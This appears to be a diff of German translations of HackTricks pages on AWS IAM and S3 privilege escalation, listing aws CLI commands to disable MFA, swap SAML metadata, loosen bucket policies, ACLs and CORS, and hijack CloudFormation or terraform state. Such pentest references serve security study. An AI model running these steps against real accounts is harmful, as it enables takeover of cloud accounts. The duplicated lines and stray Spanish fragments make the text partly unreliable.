Wenn die Richtlinie wie folgt aussieht und dem Benutzer die Berechtigung gibt, die Rolle anzunehmen:
Wenn die policy wie folgt aussieht und dem Benutzer die Berechtigung gibt, die Rolle zu übernehmen:
```json
{
"Version": "2012-10-17",
@@ -167,34 +167,34 @@ Wenn die Richtlinie wie folgt aussieht und dem Benutzer die Berechtigung gibt, d
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
Ermöglicht das Hochladen eines SSH-öffentlichen Schlüssels zur Authentifizierung bei CodeCommit und das Deaktivieren von MFA-Geräten, was zu einer potenziellen indirekten Privilegieneskalation führen kann.
Ermöglicht das Hochladen eines SSH-Public-Keys zur Authentifizierung bei CodeCommit und das Deaktivieren von MFA-Geräten, was zu potenzieller indirekter Privilegieneskalation führen kann.
**Exploit for SSH Key Upload:**
```bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
```
**Exploit zur Deaktivierung von MFA:**
**Exploit für MFA-Deaktivierung:**
```bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
```
**Impact:** Indirekte privilege escalation durch das Aktivieren von CodeCommit-Zugriff oder das Deaktivieren des MFA-Schutzes.
**Auswirkung:** Indirect privilege escalation durch das Aktivieren des CodeCommit-Zugriffs oder das Deaktivieren des MFA-Schutzes.
### **`iam:ResyncMFADevice`**
Ermöglicht die Resynchronisierung eines MFA-Geräts, was potenziell zu indirekter privilege escalation führen kann, indem der MFA-Schutz manipuliert wird.
Ermöglicht die Resynchronisierung eines MFA-Geräts, was potenziell zu indirect privilege escalation führen kann, indem der MFA-Schutz manipuliert wird.
**Bash-Befehl:**
```bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
```
**Auswirkung:** Indirekte Privilegieneskalation durch Hinzufügen oder Manipulieren von MFA-Geräten.
**Impact:** Indirekte Privilegieneskalation durch Hinzufügen oder Manipulation von MFA-Geräten.
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
Mit diesen Berechtigungen kannst du die **XML-Metadaten der SAML-Verbindung ändern**. Anschließend könntest du die **SAML federation** missbrauchen, um dich mit jeder **role, die der Verbindung vertraut**, einzuloggen.
Mit diesen Berechtigungen kannst du **die XML metadata der SAML connection ändern**. Danach könntest du die **SAML federation** missbrauchen, um dich mit jeder **role, die ihr vertraut**, zu **login**.
Beachte, dass dabei **legit users sich nicht einloggen können**. Du kannst jedoch das XML erhalten, dein eigenes einsetzen, dich einloggen und die vorherige Konfiguration wiederherstellen.
Beachte, dass dadurch **legit users won't be able to login**. Allerdings könntest du das XML bekommen, dein eigenes einsetzen, dich **login** und die vorherige Konfiguration wiederherstellen.
```bash
# List SAMLs
aws iam list-saml-providers
@@ -211,11 +211,11 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
```
> [!NOTE]
> TODO: Ein Tool, das SAML-Metadaten erzeugen und sich mit einer angegebenen Rolle anmelden kann
> TODO: Ein Tool, das in der Lage ist, die SAML-Metadaten zu erzeugen und sich mit einer angegebenen Rolle anzumelden
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
(Unsicher darüber) Wenn ein Angreifer diese **Berechtigungen** hat, könnte er einen neuen **Thumbprint** hinzufügen und sich damit in allen Rollen anmelden, die dem Provider vertrauen.
(Unsicher) Wenn ein Angreifer diese **Berechtigungen** hat, könnte er einen neuen **Thumbprint** hinzufügen, um sich in alle Rollen anzumelden, die dem Provider vertrauen.
```bash
# List providers
aws iam list-open-id-connect-providers
@@ -226,7 +226,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
```
### `iam:PutUserPermissionsBoundary`
Diese permissions erlauben einem attacker, die permissions boundary eines user zu aktualisieren und dadurch möglicherweise dessen privileges zu eskalieren, indem es ihm ermöglicht, actions auszuführen, die normalerweise durch seine bestehenden permissions eingeschränkt sind.
Diese Berechtigung erlaubt es einem Angreifer, die permissions boundary eines user zu aktualisieren und dadurch möglicherweise seine Privilegien zu eskalieren, indem er Aktionen durchführt, die normalerweise durch seine bestehenden Berechtigungen eingeschränkt sind.
```bash
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
@@ -249,7 +249,7 @@ Un ejemplo de una política que no aplica ninguna restricción es:
```
### `iam:PutRolePermissionsBoundary`
Ein Akteur mit iam:PutRolePermissionsBoundary kann für eine bestehende Rolle eine Berechtigungsgrenze festlegen. Das Risiko entsteht, wenn diese Person die Boundary einer Rolle ändert: Sie kann Operationen unangemessen einschränken (was zu Dienstunterbrechungen führt) oder — falls sie eine zu großzügige Boundary anhängt — die Möglichkeiten der Rolle effektiv erweitern und so Privilegien eskalieren.
Ein Akteur mit iam:PutRolePermissionsBoundary kann eine Berechtigungsgrenze für eine bestehende Rolle setzen. Das Risiko entsteht, wenn jemand mit dieser Berechtigung die Grenze einer Rolle ändert: Er kann Operationen unangemessen einschränken (was zu Dienstunterbrechungen führt) oder, wenn er eine freizügige Grenze anfügt, die Möglichkeiten der Rolle effektiv erweitern und so Privilegien eskalieren.
```bash
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \

37
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md
View File

@@ -6,9 +6,9 @@
### `s3:PutBucketNotification`, `s3:PutObject`, `s3:GetObject`
Ein Angreifer mit diesen Berechtigungen für interessante Buckets könnte Ressourcen kapern und Privilegien eskalieren.
Ein Angreifer mit diesen Berechtigungen für interessante Buckets könnte Ressourcen hijacken und Privilegien eskalieren.
Zum Beispiel kann ein Angreifer mit diesen **Berechtigungen für einen cloudformation-Bucket** namens "cf-templates-nohnwfax6a6i-us-east-1" die Deployment kapern. Der Zugriff kann mit folgender Richtlinie gewährt werden:
Zum Beispiel kann ein Angreifer mit diesen **Berechtigungen für einen cloudformation bucket** namens "cf-templates-nohnwfax6a6i-us-east-1" die Deployment hijacken. Der Zugriff kann mit der folgenden Policy gewährt werden:
```json
{
"Version": "2012-10-17",
@@ -34,29 +34,30 @@ Zum Beispiel kann ein Angreifer mit diesen **Berechtigungen für einen cloudform
]
}
```
Und der hijack ist möglich, weil es ein **kleines Zeitfenster vom Moment, in dem die template in den bucket hochgeladen wird, bis zu dem Moment, in dem die template deployed wird** gibt. Ein Angreifer könnte einfach eine **lambda function** in seinem Konto erstellen, die **triggered, wenn eine bucket notification gesendet wird**, und den **content** dieses **bucket** hijacks.
Und das Hijack ist möglich, weil es ein **kleines Zeitfenster von dem Moment, in dem das Template in den bucket hochgeladen wird, bis zu dem Moment, in dem das Template bereitgestellt wird** gibt. Ein Angreifer könnte einfach eine **lambda function** in seinem Account erstellen, die **ausgelöst wird, wenn eine bucket-Benachrichtigung gesendet wird**, und den **Inhalt** dieses **bucket** hijackt.
![](<../../../images/image (174).png>)
Das Pacu-Modul [`cfn__resouce_injection`](https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details#cfn__resource_injection) kann verwendet werden, um diesen Angriff zu automatisieren.\
Für mehr Informationen siehe die Original-Analyse: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
Für mehr Informationen siehe die Originalforschung: [https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/](https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/)
### `s3:PutObject`, `s3:GetObject` <a href="#s3putobject-s3getobject" id="s3putobject-s3getobject"></a>
Dies sind die Berechtigungen, um **Objekte in S3 zu lesen und hochzuladen**. Mehrere Services innerhalb von AWS (und außerhalb) nutzen S3-Speicher, um **config files** abzulegen.\
Ein Angreifer mit **read access** darauf könnte **sensitive information** darin finden.\
Ein Angreifer mit **write access** könnte **die Daten manipulieren, um einen Dienst zu missbrauchen und versuchen, privileges zu escalaten**.\
Hier einige Beispiele:
Dies sind die Berechtigungen, um **get and upload objects to S3**. Mehrere Services innerhalb von AWS (und außerhalb) verwenden S3-Storage, um **config files** zu speichern.\
Ein Angreifer mit **read access** auf diese Dateien könnte dort **sensitive information** finden.\
Ein Angreifer mit **write access** darauf könnte **modify the data to abuse some service and try to escalate privileges**.\
Das sind einige Beispiele:
- Wenn eine EC2-Instanz die **user data in einem S3 bucket** speichert, könnte ein Angreifer diese ändern, um **arbitrary code innerhalb der EC2-Instanz auszuführen**.
- Wenn eine EC2-Instanz die **user data in a S3 bucket** speichert, könnte ein Angreifer diese verändern, um **execute arbitrary code inside the EC2 instance**.
### `s3:PutObject`, `s3:GetObject` (optional) over terraform state file
Es ist sehr verbreitet, dass die [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state files im Blob-Storage von Cloud-Anbietern, z. B. AWS S3, gespeichert werden. Die Dateiendung für eine state file ist `.tfstate`, und die Bucket-Namen verraten oft, dass sie terraform state files enthalten. Üblicherweise hat jedes AWS-Konto einen solchen Bucket, um die state files zu speichern, die den Zustand des Kontos anzeigen. Außerdem haben in realen Konten fast immer alle Entwickler `s3:*` und manchmal sogar Business-User `s3:Put*`.
Es ist sehr üblich, dass die [terraform](https://cloud.hacktricks.wiki/en/pentesting-ci-cd/terraform-security.html) state files in Blob-Storage von Cloud-Anbietern, z. B. AWS S3, gespeichert werden. Die Dateiendung für eine State-Datei ist `.tfstate`, und die Bucket-Namen verraten oft, dass sie terraform state files enthalten. Normalerweise hat jedes AWS-Konto einen solchen bucket, um die state files zu speichern, die den Zustand des Kontos zeigen.
Auch in realen Accounts haben meistens alle Entwickler `s3:*` und manchmal sogar Business-User `s3:Put*`.
Wenn du also die oben genannten Berechtigungen für diese Dateien hast, gibt es einen Angriffsvektor, mit dem du RCE in der Pipeline mit den Rechten von `terraform` erlangen kannst — meist `AdministratorAccess`, wodurch du zum Administrator des Cloud-Kontos wirst. Außerdem kannst du diesen Vektor nutzen, um einen Denial-of-Service-Angriff durchzuführen, indem du `terraform` dazu bringst, legitime Ressourcen zu löschen.
Wenn du also die oben genannten Berechtigungen auf diese Dateien hast, gibt es einen Angriffsvektor, der es dir erlaubt, RCE in der Pipeline mit den Rechten von `terraform` zu erlangen — meistens `AdministratorAccess`, womit du zum Admin des Cloud-Accounts wirst. Außerdem kannst du diesen Vektor nutzen, um einen Denial-of-Service-Angriff durchzuführen, indem du `terraform` dazu bringst, legitime Ressourcen zu löschen.
Folge der Beschreibung im Abschnitt *Abusing Terraform State Files* der Seite *Terraform Security* für direkt nutzbaren Exploit-Code:
Folge der Beschreibung im Abschnitt *Abusing Terraform State Files* der Seite *Terraform Security* für direkt verwendbaren Exploit-Code:
{{#ref}}
../../../../pentesting-ci-cd/terraform-security.md#abusing-terraform-state-files
@@ -64,7 +65,7 @@ Folge der Beschreibung im Abschnitt *Abusing Terraform State Files* der Seite *T
### `s3:PutBucketPolicy`
Ein Angreifer, der **aus demselben account** stammen muss — andernfalls tritt der Fehler `The specified method is not allowed` auf — kann sich mit dieser Berechtigung selbst weitere Rechte auf den Bucket(s) gewähren, die es ihm erlauben, Buckets zu lesen, zu schreiben, zu ändern, zu löschen und offenzulegen.
Ein Angreifer, der **aus demselben account** sein muss — andernfalls tritt die Fehlermeldung `The specified method is not allowed will trigger` auf — kann sich mit dieser Berechtigung mehr Rechte für den/die bucket(s) gewähren, sodass er Buckets lesen, schreiben, verändern, löschen und exponieren kann.
```bash
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
@@ -122,8 +123,8 @@ aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-n
```
### `s3:GetBucketAcl`, `s3:PutBucketAcl`
Ein attacker könnte diese Berechtigungen missbrauchen, um **grant him more access** für bestimmte buckets zu erhalten.\
Beachte, dass der attacker nicht aus demselben account stammen muss. Außerdem ermöglicht der write access
Ein Angreifer könnte diese Berechtigungen missbrauchen, um sich **weiteren Zugriff** auf bestimmte Buckets zu gewähren.\
Beachte, dass der Angreifer nicht aus demselben Account stammen muss. Außerdem ermöglicht der Schreibzugriff
```bash
# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
@@ -177,16 +178,16 @@ aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-poli
```
### `s3:GetObjectAcl`, `s3:PutObjectVersionAcl`
Ein Angreifer mit diesen Berechtigungen sollte in der Lage sein, eine Acl auf eine bestimmte Objektversion zu setzen.
Ein Angreifer mit diesen Berechtigungen sollte in der Lage sein, einer bestimmten Objektversion eine Acl zuzuweisen.
```bash
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
```
### `s3:PutBucketCORS`
Ein Angreifer mit der Berechtigung s3:PutBucketCORS kann die CORS (Cross-Origin Resource Sharing)-Konfiguration eines Buckets ändern, die steuert, welche Webdomains auf dessen Endpunkte zugreifen dürfen. Setzt er eine zu großzügige Richtlinie, könnte jede Website direkte Anfragen an den Bucket senden und Antworten im Browser auslesen.
Ein Angreifer mit der s3:PutBucketCORS-Berechtigung kann die CORS (Cross-Origin Resource Sharing)-Konfiguration eines Buckets ändern, die steuert, welche Webdomains auf dessen Endpunkte zugreifen dürfen. Wenn er eine zu großzügige Richtlinie setzt, könnte jede Website direkte Anfragen an den Bucket stellen und Antworten im Browser auslesen.
Das bedeutet, dass ein authentifizierter Benutzer einer vom Bucket gehosteten Webanwendung, wenn er die Website des Angreifers besucht, potenziell ausgenutzt werden kann: Der Angreifer könnte die permissive CORS-Richtlinie ausnutzen und je nach Anwendung auf Profildaten des Benutzers zugreifen oder sogar das Benutzerkonto übernehmen.
Das bedeutet, dass potenziell — wenn ein authentifizierter Benutzer einer von dem Bucket gehosteten Webanwendung die Website des Angreifers besucht — der Angreifer die großzügige CORS-Richtlinie ausnutzen und je nach Anwendung auf Profildaten des Benutzers zugreifen oder sogar das Benutzerkonto kapern könnte.
```bash
aws s3api put-bucket-cors \
--bucket <BUCKET_NAME> \

26
src/pentesting-cloud/aws-security/aws-services/README.md
View File

@@ -6,33 +6,27 @@
### Container-Dienste
Dienste, die zu Container-Diensten gehören, haben folgende Merkmale:
Dienste, die zu den Container-Diensten gehören, haben die folgenden Merkmale:
- Der Dienst selbst läuft auf **separaten Infrastruktur-Instanzen**, wie z. B. EC2.
- **AWS** ist verantwortlich für die **Verwaltung des Betriebssystems und der Plattform**.
- AWS stellt einen Managed Service bereit, der typischerweise der Dienst selbst für die **tatsächliche Anwendung ist, die als Container betrachtet wird**.
- Als Nutzer dieser Container-Dienste haben Sie verschiedene Verwaltungs- und Sicherheitsverantwortlichkeiten, einschließlich der **Verwaltung der Netzwerzzugriffsicherheit, wie Network ACL-Regeln und Firewalls**.
- Außerdem plattformseitiges Identity and Access Management (IAM), sofern vorhanden.
- Ein Managed Service wird von AWS bereitgestellt, der typischerweise der Dienst selbst für die **tatsächliche Anwendung ist, die als Container betrachtet wird**.
- Als Nutzer dieser Container-Dienste haben Sie mehrere Management- und Sicherheitsverantwortungen, einschließlich der **Verwaltung der Netzwerzzugangsicherheit, wie Regeln für Network ACLs und etwaiger Firewalls**.
- Ebenfalls plattformweites Identity and Access Management, sofern vorhanden.
- **Beispiele** für AWS Container-Dienste sind Relational Database Service, Elastic Mapreduce und Elastic Beanstalk.
### Abstrakte Dienste
- Diese Dienste sind **von der Plattform- oder Verwaltungsschicht, auf der Cloud-Anwendungen aufgebaut sind, entfernt/abstrahiert**.
- Auf die Dienste wird über Endpunkte mittels AWS application programming interfaces, APIs, zugegriffen.
- Die **zugrunde liegende Infrastruktur, das Betriebssystem und die Plattform werden von AWS verwaltet**.
- Die abstrakten Dienste bieten eine Multi-Tenancy-Plattform, auf der die zugrunde liegende Infrastruktur geteilt wird.
- Diese Dienste sind von der Plattform- oder Verwaltungsschicht, auf der Cloud-Anwendungen aufgebaut werden, **abstrahiert**.
- Auf die Dienste wird über Endpoints mithilfe der AWS application programming interfaces, APIs, zugegriffen.
- Die **zugrundeliegende Infrastruktur, das Betriebssystem und die Plattform werden von AWS verwaltet**.
- Die abstrahierten Dienste bieten eine Multi-Tenancy-Plattform, auf der die zugrundeliegende Infrastruktur gemeinsam genutzt wird.
- **Daten werden durch Sicherheitsmechanismen isoliert**.
- Abstrakte Dienste sind stark in IAM integriert, und **Beispiele** für abstrakte Dienste sind S3, DynamoDB, Amazon Glacier und SQS.
## Auflistung der Dienste
## Dienste-Auflistung
**Die Seiten dieses Abschnitts sind nach AWS-Service geordnet. Dort finden Sie Informationen über den Dienst (wie er funktioniert und welche Fähigkeiten er hat), die es Ihnen ermöglichen, Privilegien zu eskalieren.**
**Die Seiten dieses Abschnitts sind nach AWS-Service geordnet. Dort finden Sie Informationen über den Dienst (wie er funktioniert und welche Fähigkeiten er hat), die es Ihnen ermöglichen, escalate privileges.**
### Verwandt: Amazon Bedrock Sicherheit
{{#ref}}
aws-bedrock-agents-memory-poisoning.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}